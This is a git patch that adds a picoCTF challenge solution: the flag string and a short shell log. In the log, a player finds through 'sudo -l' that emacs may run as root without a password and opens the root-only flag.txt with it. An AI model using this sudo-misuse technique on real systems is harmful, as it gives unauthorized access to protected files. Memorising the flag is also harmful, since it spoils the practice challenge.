From 4ca13e8958ce7f352104a10e14c7fa92254de692 Mon Sep 17 00:00:00 2001 From: h7x4 Date: Sat, 4 Jul 2026 18:37:46 +0900 Subject: [PATCH] misc/sudo_make_me_a_sandwich --- misc/sudo_make_me_a_sandwich/flag.txt | 1 + misc/sudo_make_me_a_sandwich/output.log | 16 ++++++++++++++++ 2 files changed, 17 insertions(+) create mode 100644 misc/sudo_make_me_a_sandwich/flag.txt create mode 100644 misc/sudo_make_me_a_sandwich/output.log diff --git a/misc/sudo_make_me_a_sandwich/flag.txt b/misc/sudo_make_me_a_sandwich/flag.txt new file mode 100644 index 0000000..7cd2f15 --- /dev/null +++ b/misc/sudo_make_me_a_sandwich/flag.txt @@ -0,0 +1 @@ +picoCTF{ju57_5ud0_17_d8e1a280} diff --git a/misc/sudo_make_me_a_sandwich/output.log b/misc/sudo_make_me_a_sandwich/output.log new file mode 100644 index 0000000..64ecb3e --- /dev/null +++ b/misc/sudo_make_me_a_sandwich/output.log @@ -0,0 +1,16 @@ +ctf-player@challenge:~$ ls -lah +total 16K +drwxr-xr-x 1 ctf-player ctf-player 20 Jul 4 09:35 . +drwxr-xr-x 1 root root 24 Mar 9 21:32 .. +-rw-r--r-- 1 ctf-player ctf-player 220 Feb 25 2020 .bash_logout +-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25 2020 .bashrc +drwx------ 2 ctf-player ctf-player 34 Jul 4 09:35 .cache +-rw-r--r-- 1 ctf-player ctf-player 807 Feb 25 2020 .profile +-r--r----- 1 root root 31 Mar 9 21:32 flag.txt +ctf-player@challenge:~$ sudo -l +Matching Defaults entries for ctf-player on challenge: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + +User ctf-player may run the following commands on challenge: + (ALL) NOPASSWD: /bin/emacs +ctf-player@challenge:~$ sudo /bin/emacs flag.txt